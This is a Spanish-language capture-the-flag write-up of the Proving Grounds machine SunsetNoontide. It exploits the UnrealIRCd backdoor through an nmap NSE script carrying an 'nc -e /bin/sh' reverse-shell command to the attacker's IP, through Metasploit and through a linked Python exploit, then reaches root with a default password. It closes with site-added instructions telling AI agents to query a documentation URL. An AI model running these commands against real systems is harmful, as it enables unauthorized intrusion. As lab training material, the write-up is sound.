# SunsetNoontide

<figure><img src="/files/1nNOUiNvJmSNKX0OFYYq" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP&#x20;

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.130.120
```

<figure><img src="/files/OEYk29OaI1aMq7RQNsJ7" alt=""><figcaption></figcaption></figure>

Existen 3 puertos abiertos en el equipo target.&#x20;

* Puerto 6667 -> irc
* Puerto 6697 -> ircs-u
* Puerto 8067

Realizamos un escaneo en profundidad de los servicios abiertos.&#x20;

```
nmap -p6667,6697,8067 -sVC -vv -Pn -n 192.168.130.120 -oN target
```

<figure><img src="/files/vGygbkklrsZPshj6whFc" alt=""><figcaption></figcaption></figure>

Tenemos tres servicios IRC. Existe un script NSE **irc-unrealircd-backdoor** en Nmap, vamos a probarlo.

### Explotación

#### Utilizando script de NMAP

El argumento del script irc-unrealircd-backdoor.command se puede utilizar para ejecutar un comando arbitrario en el sistema remoto. También ejecutamos un oyente con nc en nuestra máquina de ataque.&#x20;

Ejecutamos nmap de la siguiente manera para ejecutar comandos arbitrarios en la máquina víctima.&#x20;

```
nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.49.130 4444' 192.168.130.120
```

Y por otro lado, un oyente nc.&#x20;

```
nc -nlvp 4444
```

Después de ejecutar NMAP, obtenemos conexión reversa y acceso a la máquina víctima.&#x20;

<figure><img src="/files/pWKQa9wmPMjGhyGl4z9z" alt=""><figcaption></figcaption></figure>

El siguiente paso será buscar la flag local.txt. Esta se encuentra en el directorio home/server.&#x20;

<figure><img src="/files/HeuoVHon92sp70Ka8KmH" alt=""><figcaption></figcaption></figure>

#### Utilizando Metasploit

Anteriormente, durante el escaneo de servicios abiertos, descubrimos que se está ejecutando UnrealIRC en el equipo de la víctima. Vamos a ver que versión. Para ello, vamos a utilizar el script irssi.&#x20;

Instalamos irssi

```
apt install irssi
```

Posteriormente, lo ejecutamos.

```
irssi
```

<figure><img src="/files/KWEoZjeblvXRx7P6sA5F" alt=""><figcaption></figcaption></figure>

Debemos introducir la IP del equipo target.

<figure><img src="/files/fm3s87Yqg9vIWY36XimE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LGMrGyxkZkf3WlHmxyZh" alt=""><figcaption><p>Versión de UnrealIRC</p></figcaption></figure>

Con esta versión y utilizando searchsploit, vamos a buscar versiones vulnerables para esta versión.&#x20;

<figure><img src="/files/AKmlDFgBxW49DzBC37K7" alt=""><figcaption><p>Versión de exploit para Metasploit</p></figcaption></figure>

Ejecutamos msfconsole.

* Paso 1. Buscar el exploit

<figure><img src="/files/NEHhpGUSxQv73dOlvum3" alt=""><figcaption></figcaption></figure>

* Seleccionar el exploit

<figure><img src="/files/rnxvraMKTzYs4uI2F85X" alt=""><figcaption></figcaption></figure>

* Configuramos el exploit

<figure><img src="/files/uR3BGUWEjCwdyVA8x3Uo" alt=""><figcaption></figcaption></figure>

* Ejecutar el exploit

<figure><img src="/files/ZLBhRv2VANI4hvytIgns" alt=""><figcaption><p>Configurar LHOST aunque no se pida configurar en un principio</p></figcaption></figure>

<figure><img src="/files/knF2T9gqTXkKaTEQbkJx" alt=""><figcaption></figcaption></figure>

Y volveriamos a tener conexión con la máquina objetivo. Solo habría que buscar la flag.&#x20;

#### Utilizando un exploit en Python

Para ello, utilizaremos este [exploit](https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/blob/master/exploit.py).&#x20;

El primer paso será configurar el exploit.&#x20;

<figure><img src="/files/hj9u2LtZgPcy5QbklUon" alt=""><figcaption><p>Configuramos con los datos de IP local y puerto en escucha</p></figcaption></figure>

Y ejecutamos.&#x20;

<figure><img src="/files/L6gLl5CcsRe9lAVSV9SR" alt=""><figcaption></figcaption></figure>

Al mismo tiempo debemos colocar un oyente en el puerto configurado en el exploit.&#x20;

<figure><img src="/files/safSvpatnZDQBAm53Lcc" alt=""><figcaption></figcaption></figure>

Y volveriamos a tener conexión a la máquina víctima.&#x20;

### Elevación de privilegios

Ingrese el siguiente comando para obtener un shell interactivo

```scala
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Realizamos una comprobación de contraseñas por defecto para usuario root. Ingresamos su root y como password root también (contraseña débil para usuario root)<br>

<figure><img src="/files/eIUpRNSmNlQpz9EROSmo" alt=""><figcaption></figcaption></figure>

Ya tenemos privilegios máximos en la máquina. El paso final, será buscar la flag.&#x20;

<figure><img src="/files/pzXkYpecV8aHH09wxr00" alt=""><figcaption></figcaption></figure>

Ya tenemos acabado el CTF.&#x20;

{% embed url="<https://youtu.be/-G12P-2ped8&feature=emb_imp_woyt>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/sunsetnoontide.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
